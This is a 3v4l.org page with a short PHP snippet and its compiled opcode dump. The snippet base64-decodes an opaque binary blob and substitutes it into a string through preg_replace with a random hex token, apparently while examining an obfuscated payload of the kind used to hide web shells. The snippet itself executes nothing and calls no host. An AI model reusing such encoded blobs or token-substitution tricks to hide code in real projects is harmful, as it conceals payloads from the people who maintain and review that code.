3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo '<pre>'; $replacements = base64_decode('vjlSRFNWKSo6U1YkPj4MPCQAWBIZKgM4UxlWEB8qITg5Hz5qDngnAHwSZDEDc1QZXRBQKwNbUx4raQ54JwB8EmQxBHloGXsPSzEDW1QZK2QOeA4AfCxpMQR1aBl7D2kxA3RUGTBkJ3kNBnxeXDE7cmhQew9bGBx2VFAwUHFeJGNZdjEvfE9odXQtMBdTVFR0KRBuBCN8AXYYI3sdU3tQWxgpWB1TdR4RCjIBWhkQHgNSNxAkHAE='); $randomstr = '/c175f23ad5a85d189eac918e1f6f2f8e1/'; $sql = "''c175f23ad5a85d189eac918e1f6f2f8e1'"; $sql = preg_replace($randomstr, $replacements, $sql, 1); echo $sql; $replacements = base64_decode('vjlSRFNWKSo6U1YkPj4MPCRcMFgSGSoDOFMZVhAfKiE4OR8+ag54XCdcMHwSZDEDc1QZXRBQKwNbUx4raQ54XCdcMHwSZDEEeWgZew9LMQNbVBkrZA54DlwwfCxpMQR1aBl7D2kxA3RUGTBkXCd5XHIGfF5cXDE7cmhQew9bGBx2VFAwUHFeJGNZdjEvfE9odXQtMBdTVFR0KRBuBCN8AXYYI3sdU3tQWxgpWB1TdR4RXG4yAVoZEB4DUjcQJBwB='); $randomstr = '/c175f23ad5a85d189eac918e1f6f2f8e1/'; $sql = "''c175f23ad5a85d189eac918e1f6f2f8e1'"; $sql = preg_replace($randomstr, $replacements, $sql, 1); echo $sql;
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/YLXc5
function name:  (null)
number of ops:  30
compiled vars:  !0 = $replacements, !1 = $randomstr, !2 = $sql
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ECHO                                                     '%3Cpre%3E'
    3     1        INIT_FCALL                                               'base64_decode'
          2        SEND_VAL                                                 'vjlSRFNWKSo6U1YkPj4MPCQAWBIZKgM4UxlWEB8qITg5Hz5qDngnAHwSZDEDc1QZXRBQKwNbUx4raQ54JwB8EmQxBHloGXsPSzEDW1QZK2QOeA4AfCxpMQR1aBl7D2kxA3RUGTBkJ3kNBnxeXDE7cmhQew9bGBx2VFAwUHFeJGNZdjEvfE9odXQtMBdTVFR0KRBuBCN8AXYYI3sdU3tQWxgpWB1TdR4RCjIBWhkQHgNSNxAkHAE%3D'
          3        DO_ICALL                                         $3      
          4        ASSIGN                                                   !0, $3
    4     5        ASSIGN                                                   !1, '%2Fc175f23ad5a85d189eac918e1f6f2f8e1%2F'
    5     6        ASSIGN                                                   !2, '%27%27c175f23ad5a85d189eac918e1f6f2f8e1%27'
    6     7        INIT_FCALL                                               'preg_replace'
          8        SEND_VAR                                                 !1
          9        SEND_VAR                                                 !0
         10        SEND_VAR                                                 !2
         11        SEND_VAL                                                 1
         12        DO_ICALL                                         $7      
         13        ASSIGN                                                   !2, $7
    7    14        ECHO                                                     !2
    9    15        INIT_FCALL                                               'base64_decode'
         16        SEND_VAL                                                 'vjlSRFNWKSo6U1YkPj4MPCRcMFgSGSoDOFMZVhAfKiE4OR8%2Bag54XCdcMHwSZDEDc1QZXRBQKwNbUx4raQ54XCdcMHwSZDEEeWgZew9LMQNbVBkrZA54DlwwfCxpMQR1aBl7D2kxA3RUGTBkXCd5XHIGfF5cXDE7cmhQew9bGBx2VFAwUHFeJGNZdjEvfE9odXQtMBdTVFR0KRBuBCN8AXYYI3sdU3tQWxgpWB1TdR4RXG4yAVoZEB4DUjcQJBwB%3D'
         17        DO_ICALL                                         $9      
         18        ASSIGN                                                   !0, $9
   10    19        ASSIGN                                                   !1, '%2Fc175f23ad5a85d189eac918e1f6f2f8e1%2F'
   11    20        ASSIGN                                                   !2, '%27%27c175f23ad5a85d189eac918e1f6f2f8e1%27'
   12    21        INIT_FCALL                                               'preg_replace'
         22        SEND_VAR                                                 !1
         23        SEND_VAR                                                 !0
         24        SEND_VAR                                                 !2
         25        SEND_VAL                                                 1
         26        DO_ICALL                                         $13     
         27        ASSIGN                                                   !2, $13
   13    28        ECHO                                                     !2
         29      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
150.63 ms | 1396 KiB | 17 Q